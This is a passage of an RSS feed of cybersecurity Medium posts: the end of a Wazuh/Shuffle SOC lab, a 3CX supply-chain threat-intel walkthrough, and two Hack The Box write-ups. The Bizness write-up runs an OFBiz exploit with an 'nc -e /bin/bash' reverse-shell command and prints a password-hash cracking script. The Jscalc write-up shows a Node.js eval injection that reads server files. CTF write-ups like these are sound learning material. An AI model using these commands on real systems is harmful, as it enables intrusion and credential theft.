src="https://cdn-images-1.medium.com/max/1024/1*7O262sAK2OsYPABeD_FCLw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tRXRppYgibVFi_p8j1A7eQ.png" /></figure><h3>Final Test</h3><h3>Step 1: Check for Blocked IPs</h3><p>Before launching the attack, let’s check if there are any blocked IPs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*67jfCxemfrBwFL_RlDDa-Q.png" /></figure><h3>Step 2: Launch the Attack</h3><p>Next, we initiate the SSH brute-force attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ALefBe-WrYiJi3GpDGLW7A.png" /></figure><h3>Step 3: Check Wazuh Alerts</h3><p>Once the attack is launched, we check the Wazuh alerts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8q9mOZPY4Xb2fyp7uiycxA.png" /></figure><h3>Step 4: Check Discord Message</h3><p>Now, we check if a message has been sent to the Discord server.</p><p>The url above is for blocking the ip and the second is for unblock.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JQA3tRJQVKoi_0zkObF2TA.png" /></figure><h3>Step 5: Waiting for Input in Shuffle</h3><p>At this stage, Shuffle is waiting for input before taking action.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hYyp9UQzKPPlXBUWKhPvKA.png" /></figure><h3>Step 6: Blocking the IP</h3><p>Now, we go to the Shuffle URL to block the IP.</p><p>Visit the URL:</p><pre>https://shuffle_ip:3001/first_url</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SjJqX1hFii4Qpyw5OIoMMA.png" /></figure><h3>Step 7: Confirm the Block</h3><p>After confirming to block the IP, we check back in Shuffle to verify the action has been completed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CjSJMnugM0wp-E6gV1ViKQ.png" /></figure><h3>Step 8: Verify on the Linux Machine</h3><p>Finally, we verify on the Linux machine to check if the IP has been blocked.</p><p>We can confirm that we are unable to ping or connect to the Linux machine from the attacker’s machine, confirming that the block was successful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pZoN3jkDLgNy--GpjT-yQA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*GUoc0x42HMAFmkh1Dm0bhg.png" /></figure><h3>Conclusion:</h3><p>This article involves setting up a Security Operations Center (SOC) lab with Wazuh SIEM. It covers deploying and configuring Wazuh agents, simulating an attack to demonstrate threat detection and response, and integrating automation using Shuffle SOAR to enhance SOC operations.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2c055d67e9bb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CyberDefenders 3CX Supply Chain Lab Walkthrough]]></title>
            <link>https://medium.com/@0xKimmy/cyberdefenders-3cx-supply-chain-lab-walkthrough-0feb40682d45?source=rss-cdc782bf2cb4------2</link>
            <guid isPermaLink="false">https://medium.com/p/0feb40682d45</guid>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[cyberdefender]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Kimmy]]></dc:creator>
            <pubDate>Wed, 05 Feb 2025 22:34:28 GMT</pubDate>
            <atom:updated>2025-02-05T22:34:28.652Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://cyberdefenders.org/blueteam-ctf-challenges/3cx-supply-chain/">3CX Supply Chain | Blue team challenge.</a></p><p>Category: Threat Intel</p><p>In this walkthrough, we will explore the <strong>3CX Supply Chain Attack</strong> lab on CyberDefenders. Let’s dive in!</p><h3>Scenario:</h3><p>A large multinational corporation heavily relies on the 3CX software for phone communication, making it a critical component of their business operations. After a recent update to the 3CX Desktop App, antivirus alerts flag sporadic instances of the software being wiped from some workstations while others remain unaffected. Dismissing this as a false positive, the IT team overlooks the alerts, only to notice degraded performance and strange network traffic to unknown servers. Employees report issues with the 3CX app, and the IT security team identifies unusual communication patterns linked to recent software updates.</p><p>As the threat intelligence analyst, it’s your responsibility to examine this possible supply chain attack. Your objectives are to uncover how the attackers compromised the 3CX app, identify the potential threat actor involved, and assess the overall extent of the incident.</p><p><strong>Question 1: </strong>Understanding the scope of the attack and identifying which versions exhibit malicious behavior is crucial for making informed decisions if these compromised versions are present in the organization. How many versions of 3CX running on Windows have been flagged as malware?</p><p>just google it :)</p><blockquote>Answer: 2</blockquote><p><strong>Question 2: </strong>Determining the age of the malware can help assess the extent of the compromise and track the evolution of malware families and variants. What’s the UTC creation time of the .msi malware?</p><p>here you need to get SHA256 for the malware by doing this command:</p><pre>Get-FileHash .\3CXDesktopApp-18.12.416.msi</pre><p>SHA256: 59E1EDF4D82FAE4978E97512B0331B7EB21DD4B838B850BA46794D9C7A2C0983</p><p>Submit the SHA256 in <a href="https://www.virustotal.com/gui/home/upload">Virustotal</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*plC9uRAevDFKutjXWVkGmw.png" /></figure><blockquote>Answer: 2023–03–13 06:33:26 UTC</blockquote><p><strong>Question 3: </strong>Executable files (.exe) are frequently used as primary or secondary malware payloads, while dynamic link libraries (.dll) often load malicious code or enhance malware functionality. Analyzing files deposited by the Microsoft Software Installer (.msi) is crucial for identifying malicious files and investigating their full potential. Which malicious DLLs were dropped by the .msi file?</p><p>you can found the answer in Virustotal too</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZjxAvooxG53WBPjE5oW4LQ.png" /></figure><blockquote>Answer: ffmpeg.dll d3dcompiler_47.dll</blockquote><p><strong>Question 4: </strong>Recognizing the persistence techniques used in this incident is essential for current mitigation strategies and future defense improvements. What is the MITRE sub-technique ID employed by the .msi files to load the malicious DLL?</p><p>you can go to Behavior section the go to persistence you can find it in DLL Side-Loading</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BgGAdydpBFfDcWWudERQkA.png" /></figure><blockquote>Answer: T1574.002</blockquote><p><strong>Question 5: </strong>Recognizing the malware type (threat category) is essential to your investigation, as it can offer valuable insight into the possible malicious actions you’ll be examining. What is the threat category of the two malicious DLLs?</p><p>Back to the dll files in virustotal you can take a look to them</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NU1DK7ogsLvlynSzhMglNw.png" /></figure><blockquote>Answer: Trojan</blockquote><p><strong>Question 6: </strong>As a threat intelligence analyst conducting dynamic analysis, it’s vital to understand how malware can evade detection in virtualized environments or analysis systems. This knowledge will help you effectively mitigate or address these evasive tactics. What is the MITRE ID for the virtualization/sandbox evasion techniques used by the two malicious DLLs?</p><p>In the MITRE ATT&amp;CK Tactics and Techniques in virustotal look for something related virtualization/sandbox:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bQ0gLmy0hmS8Bf-4Gyo_9A.png" /></figure><blockquote>Answer: T1497</blockquote><p><strong>Question 7: </strong>When conducting malware analysis and reverse engineering, understanding anti-analysis techniques is vital to avoid wasting time. Which hypervisor is targeted by the anti-analysis techniques in the ffmpeg.dll file?</p><p>go the MITRE ATT&amp;CK Tactics and Techniques T1497 and check the Sub-techniques: <a href="https://attack.mitre.org/techniques/T1497/001">T1497.001</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_4DqxPYae5qWA4PLuX-4mA.png" /></figure><blockquote>Answer: VMWare</blockquote><p><strong>Question 8: </strong>Identifying the cryptographic method used in malware is crucial for understanding the techniques employed to bypass defense mechanisms and execute its functions fully. What encryption algorithm is used by the ffmpeg.dll file?</p><p>Back to the ffmpeg.dll look for Malware Behavior Catalog Tree:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y3ERyeKJiz_O8qZH7Kj1gg.png" /></figure><blockquote>Answer: RC4</blockquote><p><strong>Question 9: </strong>As an analyst, you’ve recognized some TTPs involved in the incident, but identifying the APT group responsible will help you search for their usual TTPs and uncover other potential malicious activities. Which group is responsible for this attack?</p><p>Just google it “Which group is responsible for 3CX Supply Chain?”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EXW6u1Ye6bGJZG1jLS-9Dw.png" /></figure><blockquote>Answer: Lazarus</blockquote><h3><strong>Thank you for reading</strong></h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0feb40682d45" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bizness Writeup HTB]]></title>
            <link>https://medium.com/@0xKimmy/bizness-writeup-htb-5ade8da9745f?source=rss-cdc782bf2cb4------2</link>
            <guid isPermaLink="false">https://medium.com/p/5ade8da9745f</guid>
            <dc:creator><![CDATA[Kimmy]]></dc:creator>
            <pubDate>Sun, 14 Jan 2024 15:30:58 GMT</pubDate>
            <atom:updated>2024-01-15T11:12:56.688Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*_M6ssHc-KimQkkAIN_F6dA.png" /></figure><h3>Nmap:</h3><p>found port 80 and 443.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1BGYf-LS4QH9CvqFl3n1zw.png" /></figure><p>now lets add the ip/domain in /etc/hosts then open the web page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m4EKsF50mKaihiq-_4Lc-g.png" /></figure><p>lets search for other Directory:</p><pre>dirsearch -u web-url</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-tUvGyAH3U9UUWzb9mNXDA.png" /></figure><p>i found /control/login so i went to login page observed that the page is using Apache OFBiz so lets search for an exploit.</p><p>i found (CVE-2023–51467 and CVE-2023–49070) <a href="https://github.com/jakabakos/Apache-OFBiz-Authentication-Bypass">https://github.com/jakabakos/Apache-OFBiz-Authentication-Bypass</a><br>CVE-2023–51467 can provide RCE. This vulnerability not only exposes the ERP system to potential exploitation but also opens the door to a Server-Side Request Forgery (SSRF) exploit, presenting a dual threat to organizations relying on Apache OFBiz.</p><p>so lets do it:</p><pre>python3 exploit.py --url https://bizness.htb --cmd &#39;nc -e /bin/bash ip 8080&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*505Nit4vDR1kfJ63w_0J0A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*JNt6HYtLcAq5k86qBWp50w.png" /></figure><p>we got it!</p><p>now lets see what is going on here.</p><p>there was alot of directories so i went to home and found user flag after Long trouble XD.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*qn-paRH9fCvfSJnL6hh3Og.png" /></figure><p>now for root flag after a long time exploring i found database when back from home you will find it here /opt/ofbiz/runtime/data/derby/ofbiz/seg0 .</p><p>but this is large data i can not discover it all but we will back here later. so i went to /opt/ofbiz/framework/resources/templates/<br>so i cat the file AdminUserLoginData.xml and got this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4JhWmLdYFkvkiym2P2pXPQ.png" /></figure><p>we found the password but we need the salt to crack the password:</p><p>here we will back to /opt/ofbiz/runtime/data/derby/ofbiz/seg0 and try to grep the salt.</p><p>found it $SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FFLzbhE0PONredDjKkWAxA.png" /></figure><p>lets crack it using this python script:</p><pre>import hashlib<br>import base64<br>import os<br>from tqdm import tqdm<br><br>class PasswordEncryptor:<br>    def __init__(self, hash_type=&quot;SHA&quot;, pbkdf2_iterations=10000):<br>        &quot;&quot;&quot;<br>        Initialize the PasswordEncryptor object with a hash type and PBKDF2 iterations.<br><br>        :param hash_type: The hash algorithm to use (default is SHA).<br>        :param pbkdf2_iterations: The number of iterations for PBKDF2 (default is 10000).<br>        &quot;&quot;&quot;<br>        self.hash_type = hash_type<br>        self.pbkdf2_iterations = pbkdf2_iterations<br><br>    def crypt_bytes(self, salt, value):<br>        &quot;&quot;&quot;<br>        Crypt a password using the specified hash type and salt.<br><br>        :param salt: The salt used in the encryption.<br>        :param value: The password value to be encrypted.<br>        :return: The encrypted password string.<br>        &quot;&quot;&quot;<br>        if not salt:<br>            salt = base64.urlsafe_b64encode(os.urandom(16)).decode(&#39;utf-8&#39;)<br>        hash_obj = hashlib.new(self.hash_type)<br>        hash_obj.update(salt.encode(&#39;utf-8&#39;))<br>        hash_obj.update(value)<br>        hashed_bytes = hash_obj.digest()<br>        result = f&quot;${self.hash_type}${salt}${base64.urlsafe_b64encode(hashed_bytes).decode(&#39;utf-8&#39;).replace(&#39;+&#39;, &#39;.&#39;)}&quot;<br>        return result<br><br>    def get_crypted_bytes(self, salt, value):<br>        &quot;&quot;&quot;<br>        Get the encrypted bytes for a password.<br><br>        :param salt: The salt used in the encryption.<br>        :param value: The password value to get encrypted bytes for.<br>        :return: The encrypted bytes as a string.<br>        &quot;&quot;&quot;<br>        try:<br>            hash_obj = hashlib.new(self.hash_type)<br>            hash_obj.update(salt.encode(&#39;utf-8&#39;))<br>            hash_obj.update(value)<br>            hashed_bytes = hash_obj.digest()<br>            return base64.urlsafe_b64encode(hashed_bytes).decode(&#39;utf-8&#39;).replace(&#39;+&#39;, &#39;.&#39;)<br>        except hashlib.NoSuchAlgorithmException as e:<br>            raise Exception(f&quot;Error while computing hash of type {self.hash_type}: {e}&quot;)<br><br># Example usage:<br>hash_type = &quot;SHA1&quot;<br>salt = &quot;d&quot;<br>search = &quot;$SHA1$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I=&quot;<br>wordlist = &#39;/usr/share/wordlists/rockyou.txt&#39;<br><br># Create an instance of the PasswordEncryptor class<br>encryptor = PasswordEncryptor(hash_type)<br><br># Get the number of lines in the wordlist for the loading bar<br>total_lines = sum(1 for _ in open(wordlist, &#39;r&#39;, encoding=&#39;latin-1&#39;))<br><br># Iterate through the wordlist with a loading bar and check for a matching password<br>with open(wordlist, &#39;r&#39;, encoding=&#39;latin-1&#39;) as password_list:<br>    for password in tqdm(password_list, total=total_lines, desc=&quot;Processing&quot;):<br>        value = password.strip()<br>        <br>        # Get the encrypted password<br>        hashed_password = encryptor.crypt_bytes(salt, value.encode(&#39;utf-8&#39;))<br>        <br>        # Compare with the search hash<br>        if hashed_password == search:<br>            print(f&#39;Found Password:{value}, hash:{hashed_password}&#39;)<br>            break  # Stop the loop if a match is found</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hUY4jb8GMwfucXCeu-iA9A.png" /></figure><p>we got the password monkeybizness now lets enter the root<br>cd /root then we got root.txt cat it and boom the flag!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/1*R6_LKY0g3eNcDkTpOr09tQ.png" /></figure><p>thanks fo reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5ade8da9745f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Jscalc HTB Writeup]]></title>
            <link>https://medium.com/@0xKimmy/jscalc-htb-writeup-dd90efff4e47?source=rss-cdc782bf2cb4------2</link>
            <guid isPermaLink="false">https://medium.com/p/dd90efff4e47</guid>
            <dc:creator><![CDATA[Kimmy]]></dc:creator>
            <pubDate>Thu, 04 Jan 2024 21:41:07 GMT</pubDate>
            <atom:updated>2024-01-05T09:36:56.071Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3IfdUVIvNhAZEAUKEz_cAw.png" /></figure><p>Jscalc Challenges easy on HTB</p><h3>DESCRIPTION:</h3><p>In the mysterious depths of the digital sea, a specialized JavaScript calculator has been crafted by tech-savvy squids. With multiple arms and complex problem-solving skills, these cephalopod engineers use it for everything from inkjet trajectory calculations to deep-sea math. Attempt to outsmart it at your own risk! 🦑</p><p>ok lets see what we can do.</p><p>after downloading the file and unzip it we got this files:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*Alc3Jf5AYxSq7Wo-faGRSw.png" /></figure><p>and nothing interesting so lets see the website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aMJoxNYzC_JaQveYS5ZD6Q.png" /></figure><p>the website use eval() function what i know about eval that eval() executes the code it’s passed with the privileges of the caller. If you run eval() with a string that could be affected by a malicious party, you may end up running malicious code on the user’s machine with the permissions of your webpage / extension.</p><p>i saw in <em>package.json </em>file that the website is running on node.js so we can run JS code RCE.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*ow1lbwAvkE_f7CFyCNPjCA.png" /></figure><p>after opening burp suite and see the request we can see it uses formula so i tested require(’fs’).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BHu3oMUgpRV9gAT1h03EVQ.png" /></figure><p>so i can get the flag.txt i need Node.js fs module which why i used require(&#39;fs&#39;) .</p><p>now if we use readdirSync() we can list the directory so lets try require(‘fs’).readdirSync(‘../’).toString();<br>i got this respone message: “app, bin, dev, etc, flag.txt,home, lib, media, mnt, opt, proc, root, run, sbin, srv, sys, tmp, usr, var&quot;<br> this is the root directory.</p><p>so i used readFileSync() to read the content of a file which is flag.txt.</p><pre>require(&#39;fs&#39;).readFileSync(&#39;/flag.txt&#39;).toString();</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AZRueOxoAUjc0eqtheQWnQ.png" /></figure><p>and boom the flag!!<br>Thanks For Reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dd90efff4e47" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>